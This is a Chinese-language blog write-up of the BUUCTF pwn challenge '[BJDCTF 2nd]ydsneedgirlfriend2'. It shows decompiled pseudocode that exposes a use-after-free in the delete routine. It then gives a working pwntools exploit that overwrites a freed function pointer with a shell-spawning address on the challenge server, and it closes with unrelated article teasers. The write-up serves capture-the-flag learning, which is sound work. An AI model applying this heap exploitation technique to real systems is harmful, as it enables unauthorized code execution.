CTF-Pwn-[BJDCTF 2nd]ydsneedgirlfriend2

比特幽篁引
• 阅读 2059

CTF-Pwn-[BJDCTF 2nd]ydsneedgirlfriend2

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Pwn类,[BJDCTF 2nd]ydsneedgirlfriend2

CTF-Pwn-[BJDCTF 2nd]ydsneedgirlfriend2

下载题目的文件

ydsneedgirlfriend2

思路

使用file命令查看,发现是64位的文件,使用ida64位打开

CTF-Pwn-[BJDCTF 2nd]ydsneedgirlfriend2

进入主函数,使用F5反编译后得到伪代码

CTF-Pwn-[BJDCTF 2nd]ydsneedgirlfriend2

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [rsp+12h] [rbp-Eh]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  myinit(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 6uLL);
      v3 = atoi(&buf);
      if ( v3 != 2 )
        break;
      dele(&buf, &buf);
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        show(&buf, &buf);
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add(&buf, &buf);
    }
  }
}

点击找到delete

unsigned __int64 dele()
{
  int v1; // [rsp+0h] [rbp-10h]
  char buf; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 >= 0 && v1 < count )
  {
    if ( girlfriends[v1] )
    {
      free(*girlfriends[v1]);
      free(girlfriends[v1]);
      puts("Why are u so cruel!");
    }
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v3;
}

show函数

unsigned __int64 show()
{
  int v1; // [rsp+0h] [rbp-10h]
  char buf; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 >= 0 && v1 < count )
  {
    if ( girlfriends[v1] )
      ((void (__fastcall *)(void **, char *))girlfriends[v1][1])(girlfriends[v1], &buf);
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v3;
}

add函数

unsigned __int64 add()
{
  void **v0; // rbx
  int nbytes; // [rsp+8h] [rbp-28h]
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( count > 7 )
  {
    puts("Full!");
    exit(-1);
  }
  if ( !girlfriends[0] )
  {
    girlfriends[0] = (void **)malloc(0x10uLL);
    if ( !girlfriends[0] )
    {
      perror("malloc failed=");
      exit(-1);
    }
  }
  girlfriends[0][1] = print_girlfriend_name;
  puts("Please input the length of her name:");
  read(0, &buf, 8uLL);
  nbytes = atoi(&buf);
  v0 = girlfriends[0];
  *v0 = malloc(nbytes);
  if ( !*girlfriends[0] )
  {
    perror("name malloc failed=");
    exit(-1);
  }
  puts("Please tell me her name:");
  read(0, *girlfriends[0], (unsigned int)nbytes);
  puts("what a beautiful name! Thank you on behalf of yds!");
  ++count;
  return __readfsqword(0x28u) ^ v4;
}

找到地址(0x400D86)

CTF-Pwn-[BJDCTF 2nd]ydsneedgirlfriend2

EXP

from pwn import *
sh = remote('node3.buuoj.cn',28654)
def add(size,name):
    sh.sendline("1")
    sh.recvuntil('Please input the length of her name:\n')
    sh.sendline(str(size))
    sh.recvuntil('Please tell me her name:\n')
    sh.sendline(name)
    sh.recvuntil("u choice :\n")

def delete(index):
    sh.sendline('2')
    sh.recvuntil('Index :')
    sh.sendline(str(index))
    sh.recvuntil("u choice :\n")

def show(idx):
    sh.recvuntil('choice :\n')
    sh.sendline('3')
    sh.sendlineafter('Index :',str(idx))

sh.recvuntil("u choice :\n")
add(0x10,'0')
delete(0)
payload = p64(0) + p64(0x400d86)
add(0x10,payload)
show(0)
sh.interactive()

测试

cd然后我们测试运行

python3 ydsneedgirlfriend2.py

CTF-Pwn-[BJDCTF 2nd]ydsneedgirlfriend2

flag就找到了

感谢

BUUCTF

以及勤劳的自己

点赞
收藏
评论区
推荐文章
Johnny21 Johnny21
4年前
法律层级划分图_云上笛暮
本文转自,如有侵权,请联系删除。
Johnny21 Johnny21
4年前
运维安全-信息安全
本文转自,如有侵权,请联系删除。
Wesley13 Wesley13
3年前
Visual Studio 2017 和 Visual Assist X 番茄助手的安装教程
声明:本文所提供的所有软件均来自于互联网,仅供个人研究和学习使用,请勿用于商业用途,下载后请于24小时内删除,请支持正版!一、VisualStudio2017的安装教程VisualStudio2017下载地址:https://visualstudio.microsoft.com/zhhans/downloads/(ht
Stella981 Stella981
3年前
IntelliJ IDEA 2020最新版本可用,有图有真相!
「版权声明」:本教程只做个人学习使用,请勿用于商业用途!如需商业版本,请前往下面官方地址购买,版权归属权为JetBranins公司!资源收集于网络,如有侵权请联系作者删除。若资金允许,请点击 https://www.jetbrains.com/idea/buy/(https://www.oschina.net/action/GoToL
Wesley13 Wesley13
3年前
IDEA 激活码,IDEA 注册码,IDEA 2019.3 激活码
https://www.cnblogs.com/souyunku/archive/2020/03/04/12405977.html申明:本教程IntelliJIDEA2019.3激活方式均收集于网络,请勿商用,仅供个人学习使用,如有侵权,请联系作者删除。注意:激活,可到2089年本教程理论
Wesley13 Wesley13
3年前
CTF
CTFPwn\BJDCTF2nd\r2t4博客说明文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!CTP平台网址https://buuoj.cn/cha
Stella981 Stella981
3年前
Electron整合React使用搭建开发环境
Electron整合React使用搭建开发环境博客说明文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!简介用于构建用户界面的JavaScript库步骤首先创建React
可莉 可莉
3年前
12306 抢票系列之只要搞定RAIL_DEVICEID的来源,从此抢票不再掉线(下)
郑重声明:本文仅供学习使用,禁止用于非法用途,否则后果自负,如有侵权,烦请告知删除,谢谢合作!模拟伪装现在已经还原了算法的实现逻辑,下一步就是如何更好地伪造自己,本文提供临时设置的实现方式,方便在不修改之前复现代码的基础上实现扩展,当然也可以直接在还原算法源码中写入伪造代码.值得注意的是,这种Object.de
可莉 可莉
3年前
12306 抢票系列之只要搞定RAIL_DEVICEID的来源,从此抢票不再掉线(上)
郑重声明:本文仅供学习使用,禁止用于非法用途,否则后果自负,如有侵权,烦请告知删除,谢谢合作!开篇明义本文针对自主开发的抢票脚本在抢票过程中常常遇到的请求无效等问题,简单分析了12306网站的前端加密算法,更准确的说,是探究RAIL_DEVICEID的生成过程.因为该cookie值是抢票请求
Stella981 Stella981
3年前
12306 抢票系列之只要搞定RAIL_DEVICEID的来源,从此抢票不再掉线(上)
郑重声明:本文仅供学习使用,禁止用于非法用途,否则后果自负,如有侵权,烦请告知删除,谢谢合作!开篇明义本文针对自主开发的抢票脚本在抢票过程中常常遇到的请求无效等问题,简单分析了12306网站的前端加密算法,更准确的说,是探究RAIL_DEVICEID的生成过程.因为该cookie值是抢票请求
Stella981 Stella981
3年前
12306 抢票系列之只要搞定RAIL_DEVICEID的来源,从此抢票不再掉线(下)
郑重声明:本文仅供学习使用,禁止用于非法用途,否则后果自负,如有侵权,烦请告知删除,谢谢合作!模拟伪装现在已经还原了算法的实现逻辑,下一步就是如何更好地伪造自己,本文提供临时设置的实现方式,方便在不修改之前复现代码的基础上实现扩展,当然也可以直接在还原算法源码中写入伪造代码.值得注意的是,这种Object.de